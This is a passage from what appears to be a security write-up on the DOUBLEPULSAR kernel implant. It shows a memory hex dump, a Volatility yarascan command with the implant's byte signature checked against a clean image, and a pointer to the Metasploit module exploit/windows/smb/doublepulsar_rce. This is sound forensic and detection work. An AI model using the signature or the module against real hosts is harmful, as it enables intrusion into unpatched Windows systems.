0xffffffd00f2a  08 00 c8 c1 e9 08 00 c8 c1 e9 08 00 c8 c3 51 8b   ..............Q.
0xffffffd00f3a  45 44 89 c1 0f c9 d1 e0 31 c8 89 45 48 59 c3 51   ED......1..EHY.Q
0xffffffd00f4a  e8 0e 00 00 00 48 8b 45 20 48 8b 48 78 48 89 48   .....H.E.H.HxH.H
wvu@kharak:~/Downloads$

The specific sequence of bytes from the implant is not present in a clean system's kernel memory:

wvu@kharak:~/Downloads$ vol.py -f clean.core --profile Win2008R2SP1x64 yarascan -KY "{ 48 31 db 48 31 f6 48 31 ff 49 8b 45 d8 8b 18 8b 70 04 8b 78 08 8b 4d 48 31 cb 31 ce 31 cf 41 3b 75 10 75 7b }"
Volatility Foundation Volatility Framework 2.6.1
wvu@kharak:~/Downloads$

Conclusion

We would like to thank zerosum0x0 for his research into MS17-010, ETERNALBLUE, and, of course, DOUBLEPULSAR. We would also like to thank Countercept (now F-Secure) for providing the public with scripts to detect the implant in both SMB and RDP forms.

The DOUBLEPULSAR module is now available in the Metasploit Framework master branch as exploit/windows/smb/doublepulsar_rce. Please hack responsibly. :-)